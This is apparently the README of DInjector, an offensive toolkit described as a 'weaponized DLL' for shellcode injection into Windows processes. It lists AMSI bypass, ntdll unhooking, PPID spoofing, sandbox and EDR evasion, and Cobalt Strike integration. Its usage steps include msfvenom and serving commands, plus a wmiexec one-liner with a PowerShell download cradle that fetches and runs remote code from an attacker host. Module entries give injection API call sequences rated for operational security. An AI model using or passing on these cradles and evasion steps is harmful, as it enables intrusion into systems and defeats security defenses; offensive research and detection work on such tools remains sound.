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topotam / DInjector

Collection of shellcode injection techniques packed in a D/Invoke weaponized DLL

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DInjector

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     )\ ) )\ )                   )             (   (  (
    (()/((()/(     (    (     ( /(    (        )\ ))\ )\
     /(_))/(_))(   )\  ))\ (  )\())(  )(      (()/((_|(_)
    (_))_(_))  )\ |(_)/((_))\(_))/ )\(()\      ((_))  _
     |   \_ _|_(_/( !(_)) ((_) |_ ((_)((_)     _| | || |
     | |) | || ' \)) / -_) _||  _/ _ \ '_|  _/ _` | || |
     |___/___|_||_|/ \___\__| \__\___/_|   (_)__,_|_||_|
                 |__/-----------------------------------
                                                K E E P
                                                C A L M
                                                  A N D
                                       D / I N 💉 E C T
                                      S H E L L C O D E

This repository is an accumulation of code snippets for various shellcode injection techniques using fantastic D/Invoke API by @TheWover and @FuzzySecurity.

Features:

  • Fully ported to D/Invoke API
  • Encrypted payloads which can be invoked from a URL or passed in base64 as an argument
  • Built-in AMSI bypass
  • PPID Spoofing and block non-Microsoft DLLs (stolen from TikiTorch, write-up is here)
  • Simple sandbox detection & evasion
  • Prime numbers calculation to emulate sleep for in-memory scan evasion
  • Ntdll.dll unhooking
  • Cobalt Strike Integration

ℹ️ Based on my testings the DInvoke NuGet package itself is being flagged by many commercial AV/EDR solutions when incuded as an embedded resource via Costura.Fody (or similar approaches), so I've shrinked it a bit and included from source to achieve better OpSec.

DISCLAIMER. All information contained in this repository is provided for educational and research purposes only. The author is not responsible for any illegal use of this tool.

Usage

  1. Compile the project in VS (or via OffensivePipeline).
  2. Generate a shellcode of your choice:
~$ msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f raw -o shellcode.bin
  1. Encrypt the shellcode:
~$ encrypt.py shellcode.bin -p 'Passw0rd!' -o enc
  1. Serve the encrypted shellcode:
~$ sudo python3 -m http.server 80
  1. Use the PowerShell download cradle to load DInjector.dll as System.Reflection.Assembly and execute it from memory.

⚠️ I do not recommend putting the assembly on disk because it will very likely be flagged.

Global arguments:

Name Required Example Values Description
/sc ✔️ http://10.10.13.37/enc Sets shellcode path (can be loaded from URL or as a base64 string)
/password ✔️ Passw0rd! Sets password to decrypt the shellcode
/sleep ❌ 10, 25 Sets number of seconds (approx.) to sleep before execution
/am51 ❌ True, False Applies AMSI bypass
/unhook ❌ True, False Unhooks ntdll.dll

Cobalt Strike Integration

In order to use DInjector from Cobalt Strike compile the project as a console application and put the assembly next to the Aggressor script.

cs

Modules

⚠️ OpSec safe considerations are based on my personal usage expirience and some testings along the way.

FunctionPointer

module_name: 'functionpointer'
arguments:
description: |
  Allocates a RW memory region, copies the shellcode into it and executes it like a function.
calls:
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    2: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: false
references:
  - 'http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/'
  - 'https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis'
  - 'https://www.fergonez.net/post/shellcode-csharp'

ℹ️ When loading the cradle from a semi-interactive shell, use Invoke-WmiMethod to spawn a new PowerShell process. Example with wmiexec.py:

~$ wmiexec.py -silentcommand -nooutput administrator:'Passw0rd!'@192.168.1.11 "powershell -enc $(echo -n 'Invoke-WmiMethod Win32_Process -Name Create -ArgumentList ("powershell -enc '`echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/cradle.ps1")' | iconv -t UTF-16LE | base64 -w0`'")' | iconv -t UTF-16LE | base64 -w0)"

FunctionPointerV2

module_name: 'functionpointerv2'
arguments:
description: |
  Sets RX on a byte array and executes it like a function.
calls:
  - ntdll.dll:
    1: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: false
references:
  - 'https://jhalon.github.io/utilizing-syscalls-in-csharp-1/'
  - 'https://jhalon.github.io/utilizing-syscalls-in-csharp-2/'
  - 'https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs'

ClipboardPointer

module_name: 'clipboardpointer'
arguments:
description: |
  Copies shellcode bytes into the clipboard, sets RX on it and executes it like a function.
calls:
  - user32.dll:
    1: 'OpenClipboard'
    2: 'SetClipboardData'
    3: 'CloseClipboard'
  - ntdll.dll:
    1: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: true
references:
  - 'https://gist.github.com/Wra7h/69a03c802ae6977e74b1152a4b004515'

CurrentThread

module_name: 'currentthread'
arguments:
description: |
  Injects shellcode into current process.
  Thread execution via NtCreateThreadEx.
calls:
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    2: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    3: 'NtCreateThreadEx'
    4: 'NtWaitForSingleObject'
opsec_safe: false
references:
  - 'https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs'

CurrentThreadUuid (FOR SMALL-SIZE PAYLOADS)

module_name: 'currentthreaduuid'
arguments:
description: |
  Injects shellcode into current process.
  Thread execution via EnumSystemLocalesA.
calls:
  - kernel32.dll:
    1: 'HeapCreate'
    2: 'EnumSystemLocalesA'
  - rpcrt4.dll:
    1: 'UuidFromStringA'
opsec_safe: false
references:
  - 'https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/'
  - 'https://github.com/ChoiSG/UuidShellcodeExec/blob/main/USEConsole/Program.cs'

RemoteThread

module_name: 'remotethread'
arguments: |
  /pid:1337
description: |
  Injects shellcode into an existing remote process.
  Thread execution via NtCreateThreadEx.
calls:
  - ntdll.dll:
    1: 'NtOpenProcess'
    2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    3: 'NtWriteVirtualMemory (shellcode)'
    4: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    5: 'NtCreateThreadEx'
opsec_safe: false
references:
  - 'https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs'

RemoteThreadDll

module_name: 'remotethreaddll'
arguments: |
  /pid:1337
  /dll:msvcp_win.dll
description: |
  Injects shellcode into an existing remote process overwriting one of its loaded modules' .text section.
  Thread execution via NtCreateThreadEx.
calls:
  - ntdll.dll:
    1: 'NtOpenProcess'
    2: 'NtWriteVirtualMemory (shellcode)'
    3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    4: 'NtCreateThreadEx'
opsec_safe:
references:
  - 'https://www.netero1010-securitylab.com/eavsion/alternative-process-injection'

RemoteThreadView

module_name: 'remotethreadview'
arguments: |
  /pid:1337
description: |
  Injects shellcode into an existing remote process.
  Thread execution via RtlCreateUserThread.
calls:
  - ntdll.dll:
    1: 'NtOpenProcess'
    2: 'NtCreateSection (PAGE_EXECUTE_READWRITE)'
    3: 'NtMapViewOfSection (PAGE_READWRITE)'
    4: 'NtMapViewOfSection (PAGE_EXECUTE_READ)'
    5: 'RtlCreateUserThread'
    6: 'NtUnmapViewOfSection'
opsec_safe: false
references:
  - 'https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Sections%20Shellcode%20Process%20Injector/Program.cs'

RemoteThreadSuspended

module_name: 'remotethreadsuspended'
arguments: |
  /pid:1337
description: |
  Injects shellcode into an existing remote process and flips memory protection to PAGE_NOACCESS.
  After a short sleep (waiting until a possible AV scan is finished) the protection is flipped again to PAGE_EXECUTE_READ.
  Thread execution via NtCreateThreadEx.
calls:
  - ntdll.dll:
    1: 'NtOpenProcess'
    2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    3: 'NtWriteVirtualMemory (shellcode)'
    4: 'NtProtectVirtualMemory (PAGE_NOACCESS)'
    5: 'NtCreateThreadEx (CREATE_SUSPENDED)'
    6: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    7: 'NtResumeThread'
opsec_safe: true
references:
  - 'https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/'
  - 'https://github.com/plackyhacker/Suspended-Thread-Injection/blob/main/injection.cs'

RemoteThreadKernelCB (UNSTABLE)

module_name: 'remotethreadkernelcb'
arguments: |
  /pid:1337
description: |
  Injects shellcode into an existing remote GUI process by spoofing the fnCOPYDATA value in KernelCallbackTable.
  Thread execution via SendMessageA.
calls:
  - user32.dll:
     1: 'FindWindowExA'
     2: 'SendMessageA'
  - ntdll.dll:
     1: 'NtOpenProcess'
     2: 'NtQueryInformationProcess'
     3: 'NtReadVirtualMemory (kernelCallbackAddress)'
     4: 'NtReadVirtualMemory (kernelCallbackValue)'
     5: 'NtReadVirtualMemory (kernelStruct.fnCOPYDATA)'
     6: 'NtProtectVirtualMemory (PAGE_READWRITE)'
     7: 'NtWriteVirtualMemory (shellcode)'
     8: 'NtProtectVirtualMemory (oldProtect)'
     9: 'NtProtectVirtualMemory (PAGE_READWRITE)'
    10: 'NtWriteVirtualMemory (origData)'
    11: 'NtProtectVirtualMemory (oldProtect)'
opsec_safe:
references:
  - 'https://t0rchwo0d.github.io/windows/Windows-Process-Injection-Technique-KernelCallbackTable/'
  - 'https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/'
  - 'https://gist.github.com/sbasu7241/5dd8c278762c6305b4b2009d44d60c13'

RemoteThreadAPC

module_name: 'remotethreadapc'
arguments: |
  /image:C:\Windows\System32\svchost.exe
  /ppid:31337
  /blockDlls:True
description: |
  Injects shellcode into a newly spawned remote process.
  Thread execution via NtQueueApcThread.
calls:
  - kernel32.dll:
    1: 'InitializeProcThreadAttributeList'
    2: 'UpdateProcThreadAttribute (blockDLLs)'
    3: 'UpdateProcThreadAttribute (PPID)'
    4: 'CreateProcessA'
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    2: 'NtWriteVirtualMemory (shellcode)'
    3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    4: 'NtOpenThread'
    5: 'NtQueueApcThread'
    6: 'NtAlertResumeThread'
opsec_safe: true
references:
  - 'https://rastamouse.me/exploring-process-injection-opsec-part-2/'
  - 'https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0'

RemoteThreadContext

module_name: 'remotethreadcontext'
arguments: |
  /image:C:\Windows\System32\svchost.exe
  /ppid:31337
  /blockDlls:True
description: |
  Injects shellcode into a newly spawned remote process.
  Thread execution via SetThreadContext.
calls:
  - kernel32.dll:
    1: 'InitializeProcThreadAttributeList'
    2: 'UpdateProcThreadAttribute (blockDLLs)'
    3: 'UpdateProcThreadAttribute (PPID)'
    4: 'CreateProcessA'
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    2: 'NtWriteVirtualMemory (shellcode)'
    3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    4: 'NtCreateThreadEx (CREATE_SUSPENDED)'
    5: 'GetThreadContext'
    6: 'SetThreadContext'
    7: 'NtResumeThread'
opsec_safe: true
references:
  - 'https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/'
  - 'https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs'

ProcessHollowing

module_name: 'processhollowing'
arguments: |
  /image:C:\Windows\System32\svchost.exe
  /ppid:31337
  /blockDlls:True
description: |
  Injects shellcode into a newly spawned remote process.
  Thread execution via NtResumeThread (hollowing with shellcode).
calls:
  - kernel32.dll:
    1: 'InitializeProcThreadAttributeList'
    2: 'UpdateProcThreadAttribute (blockDLLs)'
    3: 'UpdateProcThreadAttribute (PPID)'
    4: 'CreateProcessA'
  - ntdll.dll:
    1: 'NtQueryInformationProcess'
    2: 'NtReadVirtualMemory (ptrImageBaseAddress)'
    3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE)'
    4: 'NtWriteVirtualMemory (shellcode)'
    5: 'NtProtectVirtualMemory (oldProtect)'
    6: 'NtResumeThread'
opsec_safe: false
references:
  - 'https://github.com/CCob/SharpBlock/blob/master/Program.cs'

ModuleStomping

module_name: 'modulestomping'
arguments: |
  /image:C:\Windows\System32\svchost.exe
  /stomp:xpsservices.dll
  /export:DllCanUnloadNow
  /ppid:31337
  /blockDlls:True
description: |
  Loads a trusted module from disk and overwrites one of its exported functions.
  Thread execution via NtCreateThreadEx.
calls:
  - kernel32.dll:
     1: 'InitializeProcThreadAttributeList'
     2: 'UpdateProcThreadAttribute (blockDLLs)'
     3: 'UpdateProcThreadAttribute (PPID)'
     4: 'CreateProcessA'
  - ntdll.dll:
     1: 'NtAllocateVirtualMemory (bModuleName, PAGE_READWRITE)'
     2: 'NtAllocateVirtualMemory (shim, PAGE_READWRITE)'
     3: 'NtWriteVirtualMemory (bModuleName)'
     4: 'NtWriteVirtualMemory (shim)'
     5: 'NtProtectVirtualMemory (shim, PAGE_EXECUTE_READ)'
     6: 'NtCreateThreadEx (shim)'
     7: 'NtWaitForSingleObject'
     8: 'NtFreeVirtualMemory (allocModule)'
     9: 'NtFreeVirtualMemory (allocShim)'
    10: 'NtProtectVirtualMemory (shellcode, PAGE_READWRITE)'
    11: 'NtWriteVirtualMemory (shellcode)'
    12: 'NtProtectVirtualMemory (shellcode, PAGE_EXECUTE_READ)'
    13: 'NtCreateThreadEx (shellcode)'
opsec_safe: true
references:
  - 'https://offensivedefence.co.uk/posts/module-stomping/'
  - 'https://github.com/rasta-mouse/TikiTorch/blob/master/TikiLoader/Stomper.cs'

Credits

  • @TheWover and @FuzzySecurity for their awesome DInvoke project.
  • All those great researchers mentioned in the modules references above.

About

Collection of shellcode injection techniques packed in a D/Invoke weaponized DLL

License:BSD 2-Clause "Simplified" License

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